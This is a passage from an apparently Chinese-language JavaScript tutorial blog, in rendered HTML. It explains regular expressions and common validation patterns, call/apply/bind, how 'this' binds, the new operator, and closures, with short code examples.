class="string">&quot;我的幸运数字:888&quot;</span>);</span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(flag);<span class="comment">//true</span></span><br></pre></td></tr></table></figure><p><strong>正则测试</strong></p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(<span class="regexp">/./</span>.<span class="title function_">test</span>(<span class="string">&quot;除了回车换行以为的任意字符&quot;</span>));<span class="comment">//true</span></span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(<span class="regexp">/.*/</span>.<span class="title function_">test</span>(<span class="string">&quot;0个到多个&quot;</span>));<span class="comment">//true</span></span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(<span class="regexp">/.+/</span>.<span class="title function_">test</span>(<span class="string">&quot;1个到多个&quot;</span>));<span class="comment">//true</span></span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(<span class="regexp">/.?/</span>.<span class="title function_">test</span>(<span class="string">&quot;哈哈&quot;</span>));<span class="comment">//true</span></span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(<span class="regexp">/[0-9]/</span>.<span class="title function_">test</span>(<span class="string">&quot;9527&quot;</span>));<span class="comment">//true</span></span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(<span class="regexp">/[a-z]/</span>.<span class="title function_">test</span>(<span class="string">&quot;what&quot;</span>));<span class="comment">//true</span></span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(<span class="regexp">/[A-Z]/</span>.<span class="title function_">test</span>(<span class="string">&quot;Are&quot;</span>));<span class="comment">//true</span></span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(<span class="regexp">/[a-zA-Z]/</span>.<span class="title function_">test</span>(<span class="string">&quot;干啥子&quot;</span>));<span class="comment">//false</span></span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(<span class="regexp">/[0-9a-zA-Z]/</span>.<span class="title function_">test</span>(<span class="string">&quot;9ebg&quot;</span>));<span class="comment">//true</span></span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(<span class="regexp">/b|(ara)/</span>.<span class="title function_">test</span>(<span class="string">&quot;abra&quot;</span>));<span class="comment">//true</span></span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(<span class="regexp">/[a-z]&#123;2,3&#125;/</span>.<span class="title function_">test</span>(<span class="string">&quot;arfsf&quot;</span>));<span class="comment">//true</span></span><br></pre></td></tr></table></figure><blockquote><p>已知 str = ‘森马男士球鞋+红色+高帮’  gg = ‘红色+高帮’ ，要求去除中间+号：’森马男士球鞋  红色+高帮’</p></blockquote><figure class="highlight js"><table><tr><td class="code"><pre><span class="line">a = <span class="string">&#x27;森马男士球鞋+红色+高帮&#x27;</span>;</span><br><span class="line">b = <span class="string">&#x27;红色+高帮&#x27;</span>;</span><br><span class="line"><span class="keyword">function</span> <span class="title function_">regStr</span>(<span class="params">a, b</span>) &#123;</span><br><span class="line">    <span class="keyword">let</span> reg = <span class="keyword">new</span> <span class="title class_">RegExp</span>(<span class="string">&#x27;\\+(&#x27;</span> + b.<span class="title function_">replace</span>(<span class="regexp">/([+*])/g</span>, <span class="string">&#x27;\\$1&#x27;</span>) + <span class="string">&#x27;)$&#x27;</span>);</span><br><span class="line">    <span class="keyword">return</span> a.<span class="title function_">replace</span>(reg, <span class="string">&#x27; &#x27;</span> + b)</span><br><span class="line">&#125;</span><br><span class="line"><span class="title function_">regStr</span>(a, b)</span><br></pre></td></tr></table></figure><img src="https://i.niupic.com/images/2020/02/04/6mTL.png" /><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">var</span> b = <span class="string">&#x27;红色+高帮&#x27;</span>;</span><br><span class="line">b.<span class="title function_">replace</span>(<span class="regexp">/[+*]/g</span>, <span class="string">&#x27;\\+&#x27;</span>); <span class="comment">// &quot;红色\+高帮&quot;</span></span><br></pre></td></tr></table></figure><figure class="highlight js"><table><tr><td class="code"><pre><span class="line">a = <span class="string">&#x27;森马男士球鞋+红色+高帮&#x27;</span>;</span><br><span class="line">b = <span class="string">&#x27;红色+高帮&#x27;</span>;</span><br><span class="line"><span class="keyword">function</span> <span class="title function_">regStr</span>(<span class="params">a, b</span>) &#123;</span><br><span class="line">    <span class="keyword">let</span> reg = <span class="keyword">new</span> <span class="title class_">RegExp</span>(<span class="string">&#x27;\\+(&#x27;</span> + b.<span class="title function_">replace</span>(<span class="regexp">/([+*])/g</span>, <span class="string">&#x27;\\+&#x27;</span>) + <span class="string">&#x27;)$&#x27;</span>);</span><br><span class="line">    <span class="keyword">return</span> a.<span class="title function_">replace</span>(reg, <span class="string">&#x27; &#x27;</span> + b)</span><br><span class="line">&#125;</span><br><span class="line"><span class="title function_">regStr</span>(a, b)</span><br></pre></td></tr></table></figure><h3 id="常见正则表达式"><a href="#常见正则表达式" class="headerlink" title="常见正则表达式"></a>常见正则表达式</h3><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="comment">// 邮箱</span></span><br><span class="line"><span class="keyword">var</span> reg_email_1 = <span class="regexp">/[0-9a-zA-Z_.-]+[@][0-9a-zA-Z_.-]+([.][a-zA-Z]+)&#123;1,2&#125;/</span>;</span><br><span class="line"><span class="keyword">var</span> reg_email_2 = <span class="regexp">/^[a-zA-Z0-9_-]+@[a-zA-Z0-9_-]+(\.[a-zA-Z0-9_-]+)+$/</span>;</span><br><span class="line"></span><br><span class="line"><span class="comment">// 身份证：15位或者18位</span></span><br><span class="line"><span class="keyword">var</span> reg_idcard_1 = <span class="regexp">/([1-9][0-9]&#123;14&#125;)|([1-9][0-9]&#123;16&#125;[0-9xX])/</span>;</span><br><span class="line"><span class="keyword">var</span> reg_idcard_2 = <span class="regexp">/([1-9][0-9]&#123;14&#125;)([0-9]&#123;2&#125;[0-9xX])?/</span>;</span><br><span class="line"></span><br><span class="line"><span class="comment">// QQ号</span></span><br><span class="line"><span class="keyword">var</span> reg_qq_1 = <span class="regexp">/[1-9][0-9]&#123;4,10&#125;/</span>;</span><br><span class="line"><span class="keyword">var</span> reg_qq_2 = <span class="regexp">/\d&#123;5,11&#125;/</span>;</span><br><span class="line"></span><br><span class="line"><span class="comment">// 手机号</span></span><br><span class="line"><span class="keyword">var</span> reg_phone_1 = <span class="regexp">/^1\d&#123;10&#125;/</span>;</span><br></pre></td></tr></table></figure><h2 id="call-、apply-、bind-的区别"><a href="#call-、apply-、bind-的区别" class="headerlink" title="call()、apply()、bind()的区别"></a>call()、apply()、bind()的区别</h2><p><strong>相同点</strong></p><p>作用：都可以改变this的指向</p><p><strong>不同点</strong></p><p>区别在于接收参数的方式不同</p><p>先看明白下面</p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">var</span> name = <span class="string">&#x27;小王&#x27;</span>;</span><br><span class="line"><span class="keyword">var</span> age = <span class="number">18</span>;</span><br><span class="line"><span class="keyword">var</span> obj = &#123;</span><br><span class="line">    <span class="attr">name</span>: <span class="string">&#x27;小张&#x27;</span>,</span><br><span class="line">    <span class="attr">objAge</span>: <span class="variable language_">this</span>.<span class="property">age</span>,</span><br><span class="line">    <span class="attr">myFun</span>: <span class="keyword">function</span>(<span class="params"></span>) &#123;</span><br><span class="line">        <span class="variable language_">console</span>.<span class="title function_">log</span>(<span class="variable language_">this</span>.<span class="property">name</span> + <span class="string">&#x27;年龄：&#x27;</span> + <span class="variable language_">this</span>.<span class="property">age</span>);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line">obj.<span class="property">objAge</span>; <span class="comment">// 18</span></span><br><span class="line">obj.<span class="title function_">myFun</span>(); <span class="comment">// 小张年龄：undefined</span></span><br></pre></td></tr></table></figure><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">var</span> a = <span class="string">&#x27;哈哈&#x27;</span>;</span><br><span class="line"><span class="keyword">function</span> <span class="title function_">fn</span>(<span class="params"></span>) &#123;</span><br><span class="line">    <span class="variable language_">console</span>.<span class="title function_">log</span>(<span class="variable language_">this</span>.<span class="property">a</span>);</span><br><span class="line">&#125;</span><br><span class="line"><span class="title function_">fn</span>(); <span class="comment">// 哈哈</span></span><br></pre></td></tr></table></figure><p>比较一下这两者 this 的差别，第一个打印里面的 this 指向 obj，第二个全局声明的 shows() 函数 this 是 window</p><p><strong>1. call()、apply()、bind() 都是用来重定义 this 这个对象的！</strong></p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">var</span> name = <span class="string">&#x27;小王&#x27;</span>;</span><br><span class="line"><span class="keyword">var</span> age = <span class="number">18</span>;</span><br><span class="line"><span class="keyword">var</span> obj = &#123;</span><br><span class="line">    <span class="attr">name</span>: <span class="string">&#x27;小张&#x27;</span>,</span><br><span class="line">    <span class="attr">objAge</span>: <span class="variable language_">this</span>.<span class="property">age</span>,</span><br><span class="line">    <span class="attr">myFun</span>: <span class="keyword">function</span>(<span class="params"></span>) &#123;</span><br><span class="line">        <span class="variable language_">console</span>.<span class="title function_">log</span>(<span class="variable language_">this</span>.<span class="property">name</span> + <span class="string">&#x27;年龄：&#x27;</span> + <span class="variable language_">this</span>.<span class="property">age</span>);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">var</span> person = &#123;</span><br><span class="line">    <span class="attr">name</span>: <span class="string">&#x27;哈哈&#x27;</span>,</span><br><span class="line">    <span class="attr">age</span>: <span class="number">20</span></span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">obj.<span class="property">myFun</span>.<span class="title function_">call</span>(person); <span class="comment">// 哈哈年龄： 20</span></span><br><span class="line">obj.<span class="property">myFun</span>.<span class="title function_">apply</span>(person); <span class="comment">// 哈哈年龄： 20</span></span><br><span class="line">obj.<span class="property">myFun</span>.<span class="title function_">bind</span>(person)();  <span class="comment">// 哈哈年龄： 20</span></span><br></pre></td></tr></table></figure><p>以上除了 bind 方法后面多了个 () 外 ，结果返回都一致！</p><p><strong>2. 对比call 、bind 、 apply 传参情况下</strong></p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">var</span> name = <span class="string">&#x27;小王&#x27;</span>;</span><br><span class="line"><span class="keyword">var</span> age = <span class="number">18</span>;</span><br><span class="line"><span class="keyword">var</span> obj = &#123;</span><br><span class="line">    <span class="attr">name</span>: <span class="string">&#x27;小张&#x27;</span>,</span><br><span class="line">    <span class="attr">objAge</span>: <span class="variable language_">this</span>.<span class="property">age</span>,</span><br><span class="line">    <span class="attr">myFun</span>: <span class="keyword">function</span>(<span class="params">a, b</span>) &#123;</span><br><span class="line">        <span class="variable language_">console</span>.<span class="title function_">log</span>(<span class="variable language_">this</span>.<span class="property">name</span> + <span class="string">&#x27;年龄：&#x27;</span> + <span class="variable language_">this</span>.<span class="property">age</span> + <span class="string">&#x27; 来自&#x27;</span> + a + <span class="string">&#x27;去往&#x27;</span> + b);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">var</span> person = &#123;</span><br><span class="line">    <span class="attr">name</span>: <span class="string">&#x27;哈哈&#x27;</span>,</span><br><span class="line">    <span class="attr">age</span>: <span class="number">20</span></span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">obj.<span class="property">myFun</span>.<span class="title function_">call</span>(person,<span class="string">&#x27;成都&#x27;</span>,<span class="string">&#x27;上海&#x27;</span>); <span class="comment">// 哈哈年龄：20 来自成都去往上海</span></span><br><span class="line">obj.<span class="property">myFun</span>.<span class="title function_">apply</span>(person,[<span class="string">&#x27;成都&#x27;</span>,<span class="string">&#x27;上海&#x27;</span>]); <span class="comment">// 哈哈年龄：20 来自成都去往上海</span></span><br><span class="line">obj.<span class="property">myFun</span>.<span class="title function_">bind</span>(person,<span class="string">&#x27;成都&#x27;</span>,<span class="string">&#x27;上海&#x27;</span>)(); <span class="comment">// 哈哈年龄：20 来自成都去往上海</span></span><br><span class="line">obj.<span class="property">myFun</span>.<span class="title function_">bind</span>(person,[<span class="string">&#x27;成都&#x27;</span>,<span class="string">&#x27;上海&#x27;</span>])(); <span class="comment">// 哈哈年龄：20 来自成都,上海去往undefined</span></span><br></pre></td></tr></table></figure><p>从上面四个结果不难看出:</p><ol><li>三个函数的第一个参数都是 this 的指向对象</li><li>call 的参数是直接放进去的，第二第三第 n 个参数全都用逗号分隔（其余参数都直接传递给函数）</li><li>apply 的所有参数都必须放在一个数组里面传进去</li><li>bind 除了返回是函数以外，它的参数和 call 一样</li></ol><p><strong>当然，三者的参数不限定是 string 类型，允许是各种类型，包括函数 、 object 等等！</strong></p><p><strong>bind</strong></p><p>bind()方法主要就是将函数绑定到某个对象，bind()会创建一个函数，函数体内的this对象的值会被绑定到传入bind()中的第一个参数的值，例如：f.bind(obj)，实际上可以理解为obj.f()，这时f函数体内的this自然指向的是obj</p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">function</span> <span class="title function_">f1</span>(<span class="params">x, y</span>) &#123;</span><br><span class="line">  <span class="variable language_">console</span>.<span class="title function_">log</span>((x + y) + <span class="string">&quot;:=====&gt;&quot;</span> + <span class="variable language_">this</span>.<span class="property">age</span>);</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">var</span> ff=f1.<span class="title function_">bind</span>(<span class="literal">null</span>);</span><br><span class="line"><span class="title function_">ff</span>(<span class="number">10</span>,<span class="number">20</span>);</span><br><span class="line"><span class="comment">//30:=====&gt;undefined</span></span><br></pre></td></tr></table></figure><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">function</span> <span class="title function_">Person</span>(<span class="params"></span>) &#123;</span><br><span class="line">  <span class="variable language_">this</span>.<span class="property">age</span> = <span class="number">1000</span>;</span><br><span class="line">&#125;</span><br><span class="line"><span class="title class_">Person</span>.<span class="property"><span class="keyword">prototype</span></span>.<span class="property">eat</span> = <span class="keyword">function</span> (<span class="params"></span>) &#123;</span><br><span class="line">  <span class="variable language_">console</span>.<span class="title function_">log</span>(<span class="string">&quot;这个是吃&quot;</span>);</span><br><span class="line">&#125;;</span><br><span class="line"><span class="keyword">var</span> per = <span class="keyword">new</span> <span class="title class_">Person</span>();</span><br><span class="line"></span><br><span class="line"><span class="keyword">var</span> ff = f1.<span class="title function_">bind</span>(per, <span class="number">10</span>, <span class="number">20</span>);</span><br><span class="line"><span class="title function_">ff</span>();</span><br><span class="line"><span class="comment">//30:=====&gt;1000</span></span><br></pre></td></tr></table></figure><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">function</span> <span class="title function_">Person</span>(<span class="params">age</span>) &#123;</span><br><span class="line">  <span class="variable language_">this</span>.<span class="property">age</span>=age;</span><br><span class="line">&#125;</span><br><span class="line"><span class="title class_">Person</span>.<span class="property"><span class="keyword">prototype</span></span>.<span class="property">play</span>=<span class="keyword">function</span> (<span class="params"></span>) &#123;</span><br><span class="line">  <span class="variable language_">console</span>.<span class="title function_">log</span>(<span class="variable language_">this</span>+<span class="string">&quot;====&gt;&quot;</span>+<span class="variable language_">this</span>.<span class="property">age</span>);</span><br><span class="line">&#125;;</span><br><span class="line"></span><br><span class="line"><span class="keyword">function</span> <span class="title function_">Student</span>(<span class="params">age</span>) &#123;</span><br><span class="line">  <span class="variable language_">this</span>.<span class="property">age</span>=age;</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">var</span> per=<span class="keyword">new</span> <span class="title class_">Person</span>(<span class="number">10</span>);</span><br><span class="line"><span class="keyword">var</span> stu=<span class="keyword">new</span> <span class="title class_">Student</span>(<span class="number">20</span>);</span><br><span class="line"><span class="comment">//复制了一份</span></span><br><span class="line"><span class="keyword">var</span> ff=per.<span class="property">play</span>.<span class="title function_">bind</span>(stu);</span><br><span class="line"><span class="title function_">ff</span>();</span><br></pre></td></tr></table></figure><h2 id="this关键字"><a href="#this关键字" class="headerlink" title="this关键字"></a>this关键字</h2><p>this是在函数<strong>调用时</strong>创建的执行上下文中自动生成的一个内部属性，它会绑定（指向）一个对象。但是函数在不同的调用方式下其内部this会绑定不同对象</p><p>JavaScript 中 this 关键词指的是它所属的对象，它拥有不同的值，具体取决于它的使用位置：</p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line">在全局环境, <span class="variable language_">this</span> 指向顶层对象 <span class="title class_">Window</span></span><br><span class="line">普通函数和普通对象 <span class="variable language_">this</span> 指向顶层对象 <span class="title class_">Window</span></span><br><span class="line">在方法中, <span class="variable language_">this</span> 指的是当前所属对象</span><br><span class="line">在构造函数中, <span class="variable language_">this</span> 指向了 <span class="keyword">new</span> 出来的实例对象</span><br><span class="line">在构造函数中原型定义方法的 <span class="variable language_">this</span> 指向了 <span class="keyword">new</span> 出来的实例对象</span><br><span class="line">在事件中, <span class="variable language_">this</span> 指的是接收事件的元素</span><br></pre></td></tr></table></figure><p>像 call() 和 apply() 这样的方法可以将 this 引用到任何对象</p><p><strong>全局环境</strong></p><p>普通函数和普通对象this指向顶层对象Window</p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(<span class="variable language_">this</span>);   <span class="comment">// Window</span></span><br></pre></td></tr></table></figure><p><strong>普通函数和普通对象</strong></p><p>普通函数（无论全局还是局部）直接调用，其this指向全局对象Window</p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="comment">// 全局函数</span></span><br><span class="line"><span class="keyword">function</span> <span class="title function_">fn</span>(<span class="params"></span>) &#123;</span><br><span class="line">  <span class="variable language_">console</span>.<span class="title function_">log</span>(<span class="variable language_">this</span>);</span><br><span class="line">&#125;</span><br><span class="line"><span class="title function_">fn</span>(); <span class="comment">// Window</span></span><br></pre></td></tr></table></figure><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="comment">// 局部函数</span></span><br><span class="line"><span class="keyword">function</span> <span class="title function_">fn</span>(<span class="params"></span>) &#123;</span><br><span class="line">  <span class="keyword">function</span> <span class="title function_">f</span>(<span class="params"></span>) &#123;</span><br><span class="line">    <span class="variable language_">console</span>.<span class="title function_">log</span>(<span class="variable language_">this</span>);</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="title function_">f</span>();</span><br><span class="line">&#125;</span><br><span class="line"><span class="title function_">fn</span>(); <span class="comment">// Window</span></span><br></pre></td></tr></table></figure><p>普通对象</p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">const</span> obj = &#123; </span><br><span class="line">  <span class="attr">a</span>: <span class="variable language_">this</span>,  <span class="comment">// Window</span></span><br><span class="line">  <span class="attr">b</span>: <span class="number">10</span></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><strong>对象方法</strong></p><p>当对象的方法被调用时，this指向调用该方法的对象</p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">const</span> obj = &#123; </span><br><span class="line">  <span class="attr">a</span>: <span class="variable language_">this</span>,  <span class="comment">// Window</span></span><br><span class="line">  <span class="attr">b</span>: <span class="keyword">function</span>(<span class="params"></span>) &#123;</span><br><span class="line">    <span class="variable language_">console</span>.<span class="title function_">log</span>(<span class="variable language_">this</span>); <span class="comment">// obj对象本身  </span></span><br><span class="line">  &#125;</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">const</span> fn = obj.<span class="property">b</span>;</span><br><span class="line"><span class="title function_">fn</span>();  <span class="comment">// Window</span></span><br></pre></td></tr></table></figure><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">const</span> obj = &#123;</span><br><span class="line">  <span class="attr">a</span>: <span class="number">0</span>,</span><br><span class="line">  <span class="attr">b</span>: <span class="function">() =&gt;</span> &#123;</span><br><span class="line">    <span class="variable language_">console</span>.<span class="title function_">log</span>(<span class="variable language_">this</span>);</span><br><span class="line">  &#125;</span><br><span class="line">&#125;</span><br><span class="line">obj.<span class="title function_">b</span>(); <span class="comment">// Window</span></span><br></pre></td></tr></table></figure><p><strong>构造函数</strong></p><p>当做构造函数new出来的对象，this指向了即将new出来的实例对象</p><p>当做普通函数执行，this指向Window</p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">function</span> <span class="title function_">fn</span>(<span class="params"></span>) &#123;</span><br><span class="line">  <span class="variable language_">console</span>.<span class="title function_">log</span>(<span class="variable language_">this</span>); </span><br><span class="line">&#125;</span><br><span class="line"><span class="title function_">fn</span>(); <span class="comment">// Window</span></span><br><span class="line"><span class="keyword">const</span> obj = <span class="keyword">new</span> <span class="title function_">fn</span>();   <span class="comment">//  fn&#123;&#125;, 即 obj</span></span><br></pre></td></tr></table></figure><p><strong>构造函数prototype属性</strong></p><p>原型定义方法的this指向了实例对象。毕竟是通过对象调用的</p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">function</span> <span class="title function_">Fn</span>(<span class="params"></span>) &#123;</span><br><span class="line">  <span class="variable language_">this</span>.<span class="property">a</span> = <span class="number">10</span>;</span><br><span class="line">  <span class="keyword">let</span> a = <span class="number">100</span>;</span><br><span class="line">&#125;</span><br><span class="line"><span class="title class_">Fn</span>.<span class="property"><span class="keyword">prototype</span></span>.<span class="property">fn</span> = <span class="keyword">function</span>(<span class="params"></span>) &#123;</span><br><span class="line">  <span class="variable language_">console</span>.<span class="title function_">log</span>(<span class="variable language_">this</span>.<span class="property">a</span>);</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">const</span> obj = <span class="keyword">new</span> <span class="title class_">Fn</span>();</span><br><span class="line">obj.<span class="title function_">fn</span>();  <span class="comment">// 10 说明指向了obj这个对象</span></span><br></pre></td></tr></table></figure><p><strong>特殊情况</strong></p><p>如果在方法里面执行函数，this指向window</p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">const</span> obj = &#123;</span><br><span class="line">  <span class="attr">a</span>: <span class="number">0</span>,</span><br><span class="line">  <span class="attr">b</span>: <span class="keyword">function</span> (<span class="params"></span>) &#123;</span><br><span class="line">    <span class="variable language_">console</span>.<span class="title function_">log</span>(<span class="variable language_">this</span>);      <span class="comment">// obj</span></span><br><span class="line">    <span class="keyword">function</span> <span class="title function_">c</span>(<span class="params"></span>) &#123;</span><br><span class="line">      <span class="variable language_">console</span>.<span class="title function_">log</span>(<span class="variable language_">this</span>);    <span class="comment">// Window</span></span><br><span class="line">    &#125;</span><br><span class="line">    <span class="title function_">c</span>();</span><br><span class="line">  &#125;</span><br><span class="line">&#125;</span><br><span class="line">obj.<span class="title function_">b</span>()   </span><br></pre></td></tr></table></figure><p><strong>call ,apply, bind</strong></p><p>this指向传入的对象</p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">const</span> obj = &#123;</span><br><span class="line">  <span class="attr">a</span>: <span class="number">10</span></span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">function</span> <span class="title function_">fn</span>(<span class="params"></span>) &#123;</span><br><span class="line">  <span class="variable language_">console</span>.<span class="title function_">log</span>(<span class="variable language_">this</span>)</span><br><span class="line">&#125;</span><br><span class="line">fn.<span class="title function_">call</span>(obj);      <span class="comment">// &#123;a: 10&#125;</span></span><br><span class="line">fn.<span class="title function_">apply</span>(obj);     <span class="comment">// &#123;a: 10&#125;</span></span><br><span class="line">fn.<span class="title function_">bind</span>(obj)();    <span class="comment">// &#123;a: 10&#125;</span></span><br></pre></td></tr></table></figure><p><strong>箭头函数</strong></p><p>在方法中定义函数应该是指向window，但是箭头函数没有自己的this，所以指向上一层作用域中的this</p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">var</span> obj = &#123;</span><br><span class="line">  <span class="attr">a</span>: <span class="number">10</span>,</span><br><span class="line">  <span class="attr">b</span>: <span class="keyword">function</span> (<span class="params"></span>) &#123;</span><br><span class="line">    <span class="variable language_">console</span>.<span class="title function_">log</span>(<span class="variable language_">this</span>); <span class="comment">// 指向obj</span></span><br><span class="line">    c = <span class="function">() =&gt;</span> &#123;</span><br><span class="line">      <span class="variable language_">console</span>.<span class="title function_">log</span>(<span class="variable language_">this</span>); <span class="comment">// 指向obj，指向上一层作用域中的this</span></span><br><span class="line">    &#125;</span><br><span class="line">    <span class="title function_">c</span>();</span><br><span class="line">  &#125;</span><br><span class="line">&#125;</span><br><span class="line">obj.<span class="title function_">b</span>();</span><br></pre></td></tr></table></figure><h2 id="new-操作符"><a href="#new-操作符" class="headerlink" title="new 操作符"></a>new 操作符</h2><p><strong>new 操作符具体干了什么</strong></p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">function</span> <span class="title function_">Foo</span>(<span class="params">name</span>) &#123;</span><br><span class="line">  <span class="variable language_">this</span>.<span class="property">name</span> = name;</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">var</span> foo = <span class="keyword">new</span> <span class="title class_">Foo</span>(<span class="string">&#x27;demo&#x27;</span>)</span><br></pre></td></tr></table></figure><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="number">1.</span> 开辟空间，存储创建的新的对象</span><br><span class="line"><span class="number">2.</span> 把<span class="variable language_">this</span>设置为当前的对象</span><br><span class="line"><span class="number">3.</span> 设置属性和方法的值</span><br><span class="line"><span class="number">4.</span> 返回当前的新的对象</span><br></pre></td></tr></table></figure><h2 id="闭包"><a href="#闭包" class="headerlink" title="闭包"></a>闭包</h2><p><strong>概念</strong></p><p><strong>闭包</strong>是指能够访问其他函数内部变量的函数，简单来说就是函数嵌套函数，内部函数引用外部函数的变量或参数。</p><p>闭包的定义即：函数 A 内部有一个函数 B，函数 B 可以访问函数 A 中的变量，那么函数 B 就是闭包。</p><p>定义和用法：当一个函数的返回值是另外一个函数，而返回的那个函数如果调用了其父函数内部的其它变量，如果返回的这个函数在外部被执行，就产生了闭包。</p><p><strong>闭包的作用</strong></p><ol><li>访问其他函数内部变量</li><li>主要是用来封装变量，即把变量隐藏起来，不让外面拿到和修改，保护变量不被内存回收机制回收（缓存数据）</li></ol><p><strong>闭包的优点和缺点</strong></p><p>​    缓存数据，优点也是缺陷，没有及时的释放</p><p>​    由于闭包会使得函数中的变量都被保存在内存中，内存消耗很大，所以不能滥用闭包，否则会造成网页的性能问题，在IE中可能</p><p>导致内存泄露</p><p><strong>一般如何产生闭包</strong></p><ul><li>返回函数</li><li>函数当做参数传递</li></ul><p><strong>函数模式闭包</strong>：在一个函数中有一个函数</p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">function</span> <span class="title function_">f1</span>(<span class="params"></span>) &#123;</span><br><span class="line">    <span class="keyword">var</span> a = <span class="number">10</span></span><br><span class="line">    <span class="keyword">function</span> <span class="title function_">f2</span>(<span class="params"></span>) &#123;</span><br><span class="line">        <span class="variable language_">console</span>.<span class="title function_">log</span>(a)</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="title function_">f2</span>()</span><br><span class="line">&#125;</span><br><span class="line"><span class="title function_">f1</span>() <span class="comment">// 10</span></span><br></pre></td></tr></table></figure><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">function</span> <span class="title function_">f1</span>(<span class="params">a</span>) &#123;</span><br><span class="line"><span class="keyword">return</span> <span class="keyword">function</span> (<span class="params"></span>) &#123;</span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(a)</span><br><span class="line">&#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">var</span> fn2 = <span class="title function_">f1</span>(<span class="number">10</span>)</span><br><span class="line"><span class="title function_">fn2</span>() <span class="comment">// 10</span></span><br></pre></td></tr></table></figure><p><strong>对象模式闭包</strong>：函数中有一个对象</p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">function</span> <span class="title function_">fn</span>(<span class="params"></span>) &#123;</span><br><span class="line"><span class="keyword">var</span> a = <span class="number">10</span>;</span><br><span class="line"><span class="keyword">var</span> obj = &#123;</span><br><span class="line"><span class="attr">num</span>: a</span><br><span class="line">&#125;;</span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(obj.<span class="property">num</span>);</span><br><span class="line">&#125;</span><br><span class="line"><span class="title function_">fn</span>() <span class="comment">// 10</span></span><br></pre></td></tr></table></figure><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">function</span> <span class="title function_">fn</span>(<span class="params"></span>) &#123;</span><br><span class="line"><span class="keyword">var</span> a = <span class="number">20</span>;</span><br><span class="line"><span class="keyword">return</span> &#123;</span><br><span class="line"><span class="attr">num</span>: a</span><br><span class="line">&#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">var</span> obj= <span class="title function_">fn</span>()</span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(obj.<span class="property">num</span>) <span class="comment">// 20</span></span><br></pre></td></tr></table></figure><p><strong>闭包小案例</strong></p><p>普通函数</p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">function</span> <span class="title function_">fn</span>(<span class="params"></span>) &#123;</span><br><span class="line"><span class="keyword">var</span> a = <span class="number">10</span>;</span><br><span class="line">a++;</span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(a);</span><br><span class="line">&#125;</span><br><span class="line"><span class="title function_">fn</span>() <span class="comment">// 11</span></span><br><span class="line"><span class="title function_">fn</span>() <span class="comment">// 11</span></span><br><span class="line"><span class="title function_">fn</span>() <span class="comment">// 11</span></span><br></pre></td></tr></table></figure><p>函数闭包</p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">function</span> <span class="title function_">fn</span>(<span class="params"></span>) &#123;</span><br><span class="line"><span class="keyword">var</span> a = <span 